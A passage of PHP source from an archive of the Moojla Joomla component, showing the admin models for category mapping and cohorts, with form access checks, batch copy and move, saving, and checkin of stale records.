'desc');
		if ($orderCol != '')
		{
			$query->order($db->escape($orderCol . ' ' .
$orderDirn));
		}

		return $query;
	}
	
	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * @return  string  A store id.
	 *
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.id');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . $this->getState('filter.ordering');
		$id .= ':' . $this->getState('filter.created_by');
		$id .= ':' .
$this->getState('filter.modified_by');
		$id .= ':' . $this->getState('filter.jcatid');
		$id .= ':' . $this->getState('filter.mcatid');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to checkin all items left checked out longer then a
set time.
	 *
	 * @return  a bool
	 *
	 */
	protected function checkInNow()
	{
		// Get set check in time
		$time =
JComponentHelper::getParams('com_moojla')->get('check_in');

		if ($time)
		{

			// Get a db connection.
			$db = JFactory::getDbo();
			// reset query
			$query = $db->getQuery(true);
			$query->select('*');
			$query->from($db->quoteName('#__moojla_category_map'));
			$db->setQuery($query);
			$db->execute();
			if ($db->getNumRows())
			{
				// Get Yesterdays date
				$date = JFactory::getDate()->modify($time)->toSql();
				// reset query
				$query = $db->getQuery(true);

				// Fields to update.
				$fields = array(
					$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
					$db->quoteName('checked_out') . '=0'
				);

				// Conditions for which records should be updated.
				$conditions = array(
					$db->quoteName('checked_out') . '!=0', 
					$db->quoteName('checked_out_time') .
'<\''.$date.'\''
				);

				// Check table
				$query->update($db->quoteName('#__moojla_category_map'))->set($fields)->where($conditions);


				$db->setQuery($query);

				$db->execute();
			}
		}

		return false;
	}
}
models/category_map.php000064400000051172151165724400011225
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		category_map.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Moojla Category_map Model
 */
class MoojlaModelCategory_map extends JModelAdmin
{
	/**
	 * The tab layout fields array.
	 *
	 * @var      array
	 */
	protected $tabLayoutFields = array(
		'details' => array(
			'left' => array(
				'jcatid'
			),
			'right' => array(
				'mcatid'
			)
		)
	);

	/**
	 * @var        string    The prefix to use with controller messages.
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_MOOJLA';

	/**
	 * The type alias for this content type.
	 *
	 * @var      string
	 * @since    3.2
	 */
	public $typeAlias = 'com_moojla.category_map';

	/**
	 * Returns a Table object, always creating it
	 *
	 * @param   type    $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'category_map', $prefix =
'MoojlaTable', $config = array())
	{
		// add table path for when model gets used from other component
		$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
		// get instance of the table
		return JTable::getInstance($type, $prefix, $config);
	}
    
	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			if (!empty($item->params) && !is_array($item->params))
			{
				// Convert the params field to an array.
				$registry = new Registry;
				$registry->loadString($item->params);
				$item->params = $registry->toArray();
			}

			if (!empty($item->metadata))
			{
				// Convert the metadata field to an array.
				$registry = new Registry;
				$registry->loadString($item->metadata);
				$item->metadata = $registry->toArray();
			}
		}

		return $item;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data
(default case), false if not.
	 * @param   array    $options   Optional array of options for the form
creation.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
	{
		// set load data option
		$options['load_data'] = $loadData;
		// check if xpath was set in options
		$xpath = false;
		if (isset($options['xpath']))
		{
			$xpath = $options['xpath'];
			unset($options['xpath']);
		}
		// check if clear form was set in options
		$clear = false;
		if (isset($options['clear']))
		{
			$clear = $options['clear'];
			unset($options['clear']);
		}

		// Get the form.
		$form = $this->loadForm('com_moojla.category_map',
'category_map', $options, $clear, $xpath);

		if (empty($form))
		{
			return false;
		}

		$jinput = JFactory::getApplication()->input;

		// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
		if ($jinput->get('a_id'))
		{
			$id = $jinput->get('a_id', 0, 'INT');
		}
		// The back end uses id so we use that the rest of the time and set it to
0 by default.
		else
		{
			$id = $jinput->get('id', 0, 'INT');
		}

		$user = JFactory::getUser();

		// Check for existing item.
		// Modify the form based on Edit State access controls.
		if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.category_map.' . (int) $id))
			|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled',
'true');
			$form->setFieldAttribute('published', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('ordering', 'filter',
'unset');
			$form->setFieldAttribute('published', 'filter',
'unset');
		}
		// If this is a new item insure the greated by is set.
		if (0 == $id)
		{
			// Set the created_by to this user
			$form->setValue('created_by', null, $user->id);
		}
		// Modify the form based on Edit Creaded By access controls.
		if (!$user->authorise('core.edit.created_by',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'disabled', 'true');
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'readonly', 'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created_by', 'filter',
'unset');
		}
		// Modify the form based on Edit Creaded Date access controls.
		if (!$user->authorise('core.edit.created',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created', 'filter',
'unset');
		}
		// Only load these values if no id is found
		if (0 == $id)
		{
			// Set redirected view name
			$redirectedView = $jinput->get('ref', null,
'STRING');
			// Set field name (or fall back to view name)
			$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
			// Set redirected view id
			$redirectedId = $jinput->get('refid', 0, 'INT');
			// Set field id (or fall back to redirected view id)
			$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
			if (0 != $redirectedValue && $redirectedField)
			{
				// Now set the local-redirected field default value
				$form->setValue($redirectedField, null, $redirectedValue);
			}
		}
		return $form;
	}

	/**
	 * Method to get the script that have to be included on the form
	 *
	 * @return string	script files
	 */
	public function getScript()
	{
		return 'media/com_moojla/js/category_map.js';
	}
    
	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the
permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (!empty($record->id))
		{
			if ($record->published != -2)
			{
				return;
			}

			$user = JFactory::getUser();
			// The record has been set. Check the record permissions.
			return $user->authorise('core.delete',
'com_moojla.category_map.' . (int) $record->id);
		}
		return false;
	}

	/**
	 * Method to test whether a record can have its state edited.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record.
Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		$user = JFactory::getUser();
		$recordId = (!empty($record->id)) ? $record->id : 0;

		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit.state',
'com_moojla.category_map.' . (int) $recordId);
			if (!$permission && !is_null($permission))
			{
				return false;
			}
		}
		// In the absense of better information, revert to the component
permissions.
		return parent::canEditState($record);
	}
    
	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param	array	$data	An array of input data.
	 * @param	string	$key	The name of the key for the primary key.
	 *
	 * @return	boolean
	 * @since	2.5
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Check specific edit permission then general edit permission.

		return JFactory::getUser()->authorise('core.edit',
'com_moojla.category_map.'. ((int) isset($data[$key]) ?
$data[$key] : 0)) or parent::allowEdit($data, $key);
	}
    
	/**
	 * Prepare and sanitise the table data prior to saving.
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareTable($table)
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();
		
		if (isset($table->name))
		{
			$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
		}
		
		if (isset($table->alias) && empty($table->alias))
		{
			$table->generateAlias();
		}
		
		if (empty($table->id))
		{
			$table->created = $date->toSql();
			// set the user
			if ($table->created_by == 0 || empty($table->created_by))
			{
				$table->created_by = $user->id;
			}
			// Set ordering to the last item if not set
			if (empty($table->ordering))
			{
				$db = JFactory::getDbo();
				$query = $db->getQuery(true)
					->select('MAX(ordering)')
					->from($db->quoteName('#__moojla_category_map'));
				$db->setQuery($query);
				$max = $db->loadResult();

				$table->ordering = $max + 1;
			}
		}
		else
		{
			$table->modified = $date->toSql();
			$table->modified_by = $user->id;
		}
        
		if (!empty($table->id))
		{
			// Increment the items version number.
			$table->version++;
		}
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData() 
	{
		// Check the session for previously entered form data.
		$data =
JFactory::getApplication()->getUserState('com_moojla.edit.category_map.data',
array());

		if (empty($data))
		{
			$data = $this->getItem();
			// run the perprocess of the data
			$this->preprocessData('com_moojla.category_map', $data);
		}

		return $data;
	}

	/**
	 * Method to get the unique fields of this table.
	 *
	 * @return  mixed  An array of field names, boolean false if none is set.
	 *
	 * @since   3.0
	 */
	protected function getUniqueFields()
	{
		return false;
	}
	
	/**
	 * Method to delete one or more records.
	 *
	 * @param   array  &$pks  An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @since   12.2
	 */
	public function delete(&$pks)
	{
		if (!parent::delete($pks))
		{
			return false;
		}
		
		return true;
	}

	/**
	 * Method to change the published state of one or more records.
	 *
	 * @param   array    &$pks   A list of the primary keys to change.
	 * @param   integer  $value  The value of the published state.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   12.2
	 */
	public function publish(&$pks, $value = 1)
	{
		if (!parent::publish($pks, $value))
		{
			return false;
		}
		
		return true;
        }
    
	/**
	 * Method to perform batch operations on an item or a set of items.
	 *
	 * @param   array  $commands  An array of commands to perform.
	 * @param   array  $pks       An array of item ids.
	 * @param   array  $contexts  An array of item contexts.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   12.2
	 */
	public function batch($commands, $pks, $contexts)
	{
		// Sanitize ids.
		$pks = array_unique($pks);
		ArrayHelper::toInteger($pks);

		// Remove any values of zero.
		if (array_search(0, $pks, true))
		{
			unset($pks[array_search(0, $pks, true)]);
		}

		if (empty($pks))
		{
			$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
			return false;
		}

		$done = false;

		// Set some needed variables.
		$this->user			= JFactory::getUser();
		$this->table			= $this->getTable();
		$this->tableClassName		= get_class($this->table);
		$this->contentType		= new JUcmType;
		$this->type			=
$this->contentType->getTypeByTable($this->tableClassName);
		$this->canDo			= MoojlaHelper::getActions('category_map');
		$this->batchSet			= true;

		if (!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
			return false;
		}
        
		if ($this->type == false)
		{
			$type = new JUcmType;
			$this->type = $type->getTypeByAlias($this->typeAlias);
		}

		$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');

		if (!empty($commands['move_copy']))
		{
			$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');

			if ($cmd == 'c')
			{
				$result = $this->batchCopy($commands, $pks, $contexts);

				if (is_array($result))
				{
					foreach ($result as $old => $new)
					{
						$contexts[$new] = $contexts[$old];
					}
					$pks = array_values($result);
				}
				else
				{
					return false;
				}
			}
			elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
			{
				return false;
			}

			$done = true;
		}

		if (!$done)
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));

			return false;
		}

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Batch copy items to a new category or current.
	 *
	 * @param   integer  $values    The new values.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  mixed  An array of new IDs on success, boolean false on
failure.
	 *
	 * @since 12.2
	 */
	protected function batchCopy($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user 		= JFactory::getUser();
			$this->table 		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('category_map');
		}

		if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
		{
			return false;
		}

		// get list of unique fields
		$uniqueFields = $this->getUniqueFields();
		// remove move_copy from array
		unset($values['move_copy']);

		// make sure published is set
		if (!isset($values['published']))
		{
			$values['published'] = 0;
		}
		elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
				$values['published'] = 0;
		}

		$newIds = array();
		// Parent exists so let's proceed
		while (!empty($pks))
		{
			// Pop the first ID off the stack
			$pk = array_shift($pks);

			$this->table->reset();

			// only allow copy if user may edit this item.
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				// Not fatal error
				$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
				continue;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// insert all set values
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					if (strlen($value) > 0 && isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}

			// update all unique fields
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
				}
			}

			// Reset the ID because we are making a copy
			$this->table->id = 0;

			// TODO: Deal with ordering?
			// $this->table->ordering = 1;

			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}

			// Get the new item ID
			$newId = $this->table->get('id');

			// Add the new ID to the array
			$newIds[$pk] = $newId;
		}

		// Clean the cache
		$this->cleanCache();

		return $newIds;
	}

	/**
	 * Batch move items to a new category
	 *
	 * @param   integer  $value     The new category ID.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True if successful, false otherwise and internal
error is set.
	 *
	 * @since 12.2
	 */
	protected function batchMove($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user		= JFactory::getUser();
			$this->table		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('category_map');
		}

		if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
			return false;
		}

		// make sure published only updates if user has the permission.
		if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
			unset($values['published']);
		}
		// remove move_copy from array
		unset($values['move_copy']);

		// Parent exists so we proceed
		foreach ($pks as $pk)
		{
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
				return false;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// insert all set values.
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					// Do special action for access.
					if ('access' === $key && strlen($value) > 0)
					{
						$this->table->$key = $value;
					}
					elseif (strlen($value) > 0 &&
isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}


			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}
	
	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$input	= JFactory::getApplication()->input;
		$filter	= JFilterInput::getInstance();
        
		// set the metadata to the Item Data
		if (isset($data['metadata']) &&
isset($data['metadata']['author']))
		{
			$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
            
			$metadata = new JRegistry;
			$metadata->loadArray($data['metadata']);
			$data['metadata'] = (string) $metadata;
		}
        
		// Set the Params Items to data
		if (isset($data['params']) &&
is_array($data['params']))
		{
			$params = new JRegistry;
			$params->loadArray($data['params']);
			$data['params'] = (string) $params;
		}

		// Alter the unique field for save as copy
		if ($input->get('task') === 'save2copy')
		{
			// Automatic handling of other unique fields
			$uniqueFields = $this->getUniqueFields();
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
				}
			}
		}
		
		if (parent::save($data))
		{
			return true;
		}
		return false;
	}
	
	/**
	 * Method to generate a unique value.
	 *
	 * @param   string  $field name.
	 * @param   string  $value data.
	 *
	 * @return  string  New value.
	 *
	 * @since   3.0
	 */
	protected function generateUnique($field,$value)
	{

		// set field value unique
		$table = $this->getTable();

		while ($table->load(array($field => $value)))
		{
			$value = StringHelper::increment($value);
		}

		return $value;
	}
}
models/cohort.php000064400000051025151165724400010046 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		cohort.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Moojla Cohort Model
 */
class MoojlaModelCohort extends JModelAdmin
{
	/**
	 * The tab layout fields array.
	 *
	 * @var      array
	 */
	protected $tabLayoutFields = array(
		'details' => array(
			'left' => array(
				'mcohort'
			),
			'right' => array(
				'course_group'
			)
		)
	);

	/**
	 * @var        string    The prefix to use with controller messages.
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_MOOJLA';

	/**
	 * The type alias for this content type.
	 *
	 * @var      string
	 * @since    3.2
	 */
	public $typeAlias = 'com_moojla.cohort';

	/**
	 * Returns a Table object, always creating it
	 *
	 * @param   type    $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'cohort', $prefix =
'MoojlaTable', $config = array())
	{
		// add table path for when model gets used from other component
		$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
		// get instance of the table
		return JTable::getInstance($type, $prefix, $config);
	}
    
	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			if (!empty($item->params) && !is_array($item->params))
			{
				// Convert the params field to an array.
				$registry = new Registry;
				$registry->loadString($item->params);
				$item->params = $registry->toArray();
			}

			if (!empty($item->metadata))
			{
				// Convert the metadata field to an array.
				$registry = new Registry;
				$registry->loadString($item->metadata);
				$item->metadata = $registry->toArray();
			}
		}

		return $item;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data
(default case), false if not.
	 * @param   array    $options   Optional array of options for the form
creation.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
	{
		// set load data option
		$options['load_data'] = $loadData;
		// check if xpath was set in options
		$xpath = false;
		if (isset($options['xpath']))
		{
			$xpath = $options['xpath'];
			unset($options['xpath']);
		}
		// check if clear form was set in options
		$clear = false;
		if (isset($options['clear']))
		{
			$clear = $options['clear'];
			unset($options['clear']);
		}

		// Get the form.
		$form = $this->loadForm('com_moojla.cohort',
'cohort', $options, $clear, $xpath);

		if (empty($form))
		{
			return false;
		}

		$jinput = JFactory::getApplication()->input;

		// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
		if ($jinput->get('a_id'))
		{
			$id = $jinput->get('a_id', 0, 'INT');
		}
		// The back end uses id so we use that the rest of the time and set it to
0 by default.
		else
		{
			$id = $jinput->get('id', 0, 'INT');
		}

		$user = JFactory::getUser();

		// Check for existing item.
		// Modify the form based on Edit State access controls.
		if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.cohort.' . (int) $id))
			|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled',
'true');
			$form->setFieldAttribute('published', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('ordering', 'filter',
'unset');
			$form->setFieldAttribute('published', 'filter',
'unset');
		}
		// If this is a new item insure the greated by is set.
		if (0 == $id)
		{
			// Set the created_by to this user
			$form->setValue('created_by', null, $user->id);
		}
		// Modify the form based on Edit Creaded By access controls.
		if (!$user->authorise('core.edit.created_by',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'disabled', 'true');
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'readonly', 'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created_by', 'filter',
'unset');
		}
		// Modify the form based on Edit Creaded Date access controls.
		if (!$user->authorise('core.edit.created',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created', 'filter',
'unset');
		}
		// Only load these values if no id is found
		if (0 == $id)
		{
			// Set redirected view name
			$redirectedView = $jinput->get('ref', null,
'STRING');
			// Set field name (or fall back to view name)
			$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
			// Set redirected view id
			$redirectedId = $jinput->get('refid', 0, 'INT');
			// Set field id (or fall back to redirected view id)
			$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
			if (0 != $redirectedValue && $redirectedField)
			{
				// Now set the local-redirected field default value
				$form->setValue($redirectedField, null, $redirectedValue);
			}
		}
		return $form;
	}

	/**
	 * Method to get the script that have to be included on the form
	 *
	 * @return string	script files
	 */
	public function getScript()
	{
		return 'media/com_moojla/js/cohort.js';
	}
    
	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the
permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (!empty($record->id))
		{
			if ($record->published != -2)
			{
				return;
			}

			$user = JFactory::getUser();
			// The record has been set. Check the record permissions.
			return $user->authorise('core.delete',
'com_moojla.cohort.' . (int) $record->id);
		}
		return false;
	}

	/**
	 * Method to test whether a record can have its state edited.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record.
Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		$user = JFactory::getUser();
		$recordId = (!empty($record->id)) ? $record->id : 0;

		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit.state',
'com_moojla.cohort.' . (int) $recordId);
			if (!$permission && !is_null($permission))
			{
				return false;
			}
		}
		// In the absense of better information, revert to the component
permissions.
		return parent::canEditState($record);
	}
    
	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param	array	$data	An array of input data.
	 * @param	string	$key	The name of the key for the primary key.
	 *
	 * @return	boolean
	 * @since	2.5
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Check specific edit permission then general edit permission.

		return JFactory::getUser()->authorise('core.edit',
'com_moojla.cohort.'. ((int) isset($data[$key]) ? $data[$key] :
0)) or parent::allowEdit($data, $key);
	}
    
	/**
	 * Prepare and sanitise the table data prior to saving.
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareTable($table)
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();
		
		if (isset($table->name))
		{
			$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
		}
		
		if (isset($table->alias) && empty($table->alias))
		{
			$table->generateAlias();
		}
		
		if (empty($table->id))
		{
			$table->created = $date->toSql();
			// set the user
			if ($table->created_by == 0 || empty($table->created_by))
			{
				$table->created_by = $user->id;
			}
			// Set ordering to the last item if not set
			if (empty($table->ordering))
			{
				$db = JFactory::getDbo();
				$query = $db->getQuery(true)
					->select('MAX(ordering)')
					->from($db->quoteName('#__moojla_cohort'));
				$db->setQuery($query);
				$max = $db->loadResult();

				$table->ordering = $max + 1;
			}
		}
		else
		{
			$table->modified = $date->toSql();
			$table->modified_by = $user->id;
		}
        
		if (!empty($table->id))
		{
			// Increment the items version number.
			$table->version++;
		}
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData() 
	{
		// Check the session for previously entered form data.
		$data =
JFactory::getApplication()->getUserState('com_moojla.edit.cohort.data',
array());

		if (empty($data))
		{
			$data = $this->getItem();
			// run the perprocess of the data
			$this->preprocessData('com_moojla.cohort', $data);
		}

		return $data;
	}

	/**
	 * Method to get the unique fields of this table.
	 *
	 * @return  mixed  An array of field names, boolean false if none is set.
	 *
	 * @since   3.0
	 */
	protected function getUniqueFields()
	{
		return false;
	}
	
	/**
	 * Method to delete one or more records.
	 *
	 * @param   array  &$pks  An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @since   12.2
	 */
	public function delete(&$pks)
	{
		if (!parent::delete($pks))
		{
			return false;
		}
		
		return true;
	}

	/**
	 * Method to change the published state of one or more records.
	 *
	 * @param   array    &$pks   A list of the primary keys to change.
	 * @param   integer  $value  The value of the published state.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   12.2
	 */
	public function publish(&$pks, $value = 1)
	{
		if (!parent::publish($pks, $value))
		{
			return false;
		}
		
		return true;
        }
    
	/**
	 * Method to perform batch operations on an item or a set of items.
	 *
	 * @param   array  $commands  An array of commands to perform.
	 * @param   array  $pks       An array of item ids.
	 * @param   array  $contexts  An array of item contexts.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   12.2
	 */
	public function batch($commands, $pks, $contexts)
	{
		// Sanitize ids.
		$pks = array_unique($pks);
		ArrayHelper::toInteger($pks);

		// Remove any values of zero.
